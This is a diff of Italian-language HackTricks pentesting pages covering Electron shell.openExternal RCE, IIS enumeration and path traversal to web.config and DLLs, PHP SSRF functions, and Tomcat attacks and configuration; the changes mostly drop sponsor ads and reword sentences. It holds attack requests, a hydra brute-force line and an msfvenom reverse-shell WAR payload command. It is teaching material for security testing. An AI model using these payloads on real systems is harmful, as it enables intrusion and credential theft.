Per ulteriori informazioni su questi esempi, controlla [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per `nodeIntegration` e `contextIsolation`. È stato stabilito che **l'esecuzione remota di codice (RCE)** lato client che mira agli script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto.
|
||||
Quando si distribuisce un'applicazione desktop Electron, è fondamentale garantire le impostazioni corrette per `nodeIntegration` e `contextIsolation`. È stato stabilito che **l'esecuzione remota di codice lato client (RCE)** mirata a script di preload o al codice nativo di Electron dal processo principale è efficacemente prevenuta con queste impostazioni in atto.
|
||||
|
||||
Quando un utente interagisce con i link o apre nuove finestre, vengono attivati specifici listener di eventi, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa attraverso una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
|
||||
Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica aziendale**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene solitamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
|
||||
|
||||
**Ecco un pseudocodice semplificato:**
|
||||
|
||||
|
@ -268,7 +255,7 @@ Prima di tutto, devi sapere cosa succede quando provi ad aprire un nuovo URL, co
|
|||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come risorsa di terze parti**.
|
||||
La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come una risorsa di terze parti**.
|
||||
|
||||
Nel caso in cui il **regex** utilizzato dalla funzione sia **vulnerabile a bypass** (ad esempio, **non eseguendo l'escape dei punti dei sottodomini**), un attaccante potrebbe abusare dell'XSS per **aprire una nuova finestra che** sarà situata nell'infrastruttura dell'attaccante **richiedendo credenziali** all'utente:
|
||||
```html
|
||||
|
@ -320,18 +307,6 @@ npm start
|
|||
* Ulteriori ricerche e articoli sulla sicurezza di Electron in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -342,7 +317,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Testa le estensioni dei file eseguibili:
|
||||
|
||||
* asp
|
||||
|
@ -38,7 +24,7 @@ Testa le estensioni dei file eseguibili:
|
|||
|
||||
## Rivelazione dell'indirizzo IP interno
|
||||
|
||||
Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indicarti l'indirizzo IP interno:
|
||||
Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe puntarti all'indirizzo IP interno:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
|
@ -119,9 +105,9 @@ Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespac
|
|||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Download di DLL**
|
||||
### **Scaricare DLL**
|
||||
|
||||
Il riferimento a uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la **WebApplication1.dll**:
|
||||
La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. Seguendo questo, viene mostrata una richiesta per scaricare la **WebApplication1.dll**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
|
@ -213,7 +199,7 @@ C:\xampp\tomcat\conf\server.xml
|
|||
|
||||
Se vedi un errore come il seguente:
|
||||
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Significa che il server **non ha ricevuto il nome di dominio corretto** all'interno dell'intestazione Host.\
|
||||
Per accedere alla pagina web, potresti dare un'occhiata al **Certificato SSL** servito e forse puoi trovare il nome del dominio/sottodominio lì. Se non è presente, potresti dover **forzare VHosts** fino a trovare quello corretto.
|
||||
|
@ -223,7 +209,7 @@ Per accedere alla pagina web, potresti dare un'occhiata al **Certificato SSL** s
|
|||
### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi
|
||||
|
||||
Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\
|
||||
La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file.
|
||||
La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e le prime 3 lettere dell'estensione** dei file.
|
||||
|
||||
Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
|
@ -235,13 +221,13 @@ Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner`
|
|||
|
||||
### Bypass dell'autenticazione di base
|
||||
|
||||
**Bypass** un'autenticazione di base (**IIS 7.5**) provando ad accedere: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**Bypass** di un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Puoi provare a **mescolare** questa **vulnerabilità** e l'ultima per trovare nuove **cartelle** e **bypassare** l'autenticazione.
|
||||
|
||||
## Debugging ASP.NET Trace.AXD abilitato
|
||||
|
||||
ASP.NET include una modalità di debugging e il suo file si chiama `trace.axd`.
|
||||
ASP.NET include una modalità di debug e il suo file si chiama `trace.axd`.
|
||||
|
||||
Tiene un registro molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo.
|
||||
|
||||
|
@ -285,21 +271,9 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -307,7 +281,7 @@ Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,15 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Funzioni SSRF PHP
|
||||
### Funzioni PHP SSRF
|
||||
|
||||
Alcune funzioni come **file\_get\_contents(), fopen(), file(), md5\_file()** accettano URL come input che seguiranno, rendendo **possibili vulnerabilità SSRF** se l'utente può controllare i dati:
|
||||
```php
|
||||
|
@ -83,15 +75,9 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -99,7 +85,7 @@ Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* Di solito gira sulla **porta 8080**
|
||||
|
@ -116,7 +108,7 @@ Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono s
|
|||
|
||||
### **Sfruttamento del Path Traversal**
|
||||
|
||||
In alcune [**configurazioni vulnerabili di Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puoi ottenere accesso a directory protette in Tomcat usando il path: `/..;/`
|
||||
In alcune [**configurazioni vulnerabili di Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puoi guadagnare accesso a directory protette in Tomcat usando il path: `/..;/`
|
||||
|
||||
Quindi, ad esempio, potresti essere in grado di **accedere alla pagina di gestione di Tomcat** accedendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -255,7 +241,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* Di solito gira sulla **porta 8080**
|
||||
|
@ -75,15 +67,15 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
```
|
||||
Along with setting various parameters in Metasploit to target a specific host.
|
||||
|
||||
## Vulnerabilità comuni
|
||||
## Vulnerabilità Comuni
|
||||
|
||||
### **Divulgazione della password nel backtrace**
|
||||
### **Divulgazione della Password nel Backtrace**
|
||||
|
||||
Accedere a `/auth.jsp` può rivelare la password in un backtrace in circostanze fortunate.
|
||||
|
||||
### **Doppia codifica URL**
|
||||
### **Doppia Codifica URL**
|
||||
|
||||
La vulnerabilità CVE-2007-1860 in `mod_jk` consente la codifica URL doppia per il path traversal, consentendo l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.
|
||||
La vulnerabilità CVE-2007-1860 in `mod_jk` consente la codifica URL doppia per il path traversal, permettendo l'accesso non autorizzato all'interfaccia di gestione tramite un URL appositamente creato.
|
||||
|
||||
Per accedere al web di gestione di Tomcat vai a: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
|
@ -116,11 +108,11 @@ Le versioni di Apache Tomcat da 4.x a 7.x includono script di esempio che sono s
|
|||
|
||||
### **Sfruttamento del Path Traversal**
|
||||
|
||||
In alcune [**configurazioni vulnerabili di Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puoi ottenere accesso a directory protette in Tomcat utilizzando il percorso: `/..;/`
|
||||
In alcune [**configurazioni vulnerabili di Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puoi ottenere accesso a directory protette in Tomcat utilizzando il path: `/..;/`
|
||||
|
||||
Quindi, ad esempio, potresti essere in grado di **accedere alla pagina del manager di Tomcat** accedendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
Quindi, ad esempio, potresti essere in grado di **accedere alla pagina di gestione di Tomcat** accedendo a: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Un altro modo** per bypassare i percorsi protetti utilizzando questo trucco è accedere a `http://www.vulnerable.com/;param=value/manager/html`
|
||||
**Un altro modo** per bypassare i percorsi protetti usando questo trucco è accedere a `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
|
@ -159,7 +151,7 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war
|
|||
|
||||
In alcuni scenari questo non funziona (ad esempio versioni obsolete di sun)
|
||||
|
||||
#### Scarica
|
||||
#### Download
|
||||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
|
@ -239,15 +231,10 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -255,7 +242,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Evitare di eseguire come root
|
||||
|
||||
Per non eseguire Tomcat come root, una configurazione molto comune è impostare un server Apache sulla porta 80/443 e, se il percorso richiesto corrisponde a una regexp, la richiesta viene inviata a Tomcat in esecuzione su una porta diversa.
|
||||
|
@ -97,15 +89,15 @@ Ecco un esempio di file **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
La configurazione `web.xml` sopra definisce un **nuovo servlet chiamato `AdminServlet`** che è mappato alla **classe `com.inlanefreight.api.AdminServlet`**. Java utilizza la notazione a punti per creare nomi di pacchetti, il che significa che il percorso su disco per la classe definita sopra sarebbe:
|
||||
Il file di configurazione `web.xml` sopra definisce un **nuovo servlet chiamato `AdminServlet`** che è mappato alla **classe `com.inlanefreight.api.AdminServlet`**. Java utilizza la notazione a punti per creare nomi di pacchetti, il che significa che il percorso su disco per la classe definita sopra sarebbe:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
Successivamente, viene creata una nuova mappatura del servlet per **mappare le richieste a `/admin` con `AdminServlet`**. Questa configurazione invierà qualsiasi richiesta ricevuta per **`/admin` alla classe `AdminServlet.class`** per l'elaborazione. Il descrittore **`web.xml`** contiene molte **informazioni sensibili** ed è un file importante da controllare quando si sfrutta una **vulnerabilità di Local File Inclusion (LFI)**.
|
||||
Successivamente, viene creato un nuovo mapping del servlet per **mappare le richieste a `/admin` con `AdminServlet`**. Questa configurazione invierà qualsiasi richiesta ricevuta per **`/admin` alla classe `AdminServlet.class`** per l'elaborazione. Il descrittore **`web.xml`** contiene molte **informazioni sensibili** ed è un file importante da controllare quando si sfrutta una **vulnerabilità di Local File Inclusion (LFI)**.
|
||||
|
||||
### tomcat-users
|
||||
|
||||
Il file **`tomcat-users.xml`** viene utilizzato per **consentire** o negare l'accesso alle **pagine di amministrazione `/manager` e `host-manager`**.
|
||||
Il file **`tomcat-users.xml`** è utilizzato per **consentire** o negare l'accesso alle **pagine di amministrazione `/manager` e `host-manager`**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -152,23 +144,18 @@ Il file ci mostra a cosa forniscono accesso ciascuno dei ruoli `manager-gui`, `m
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
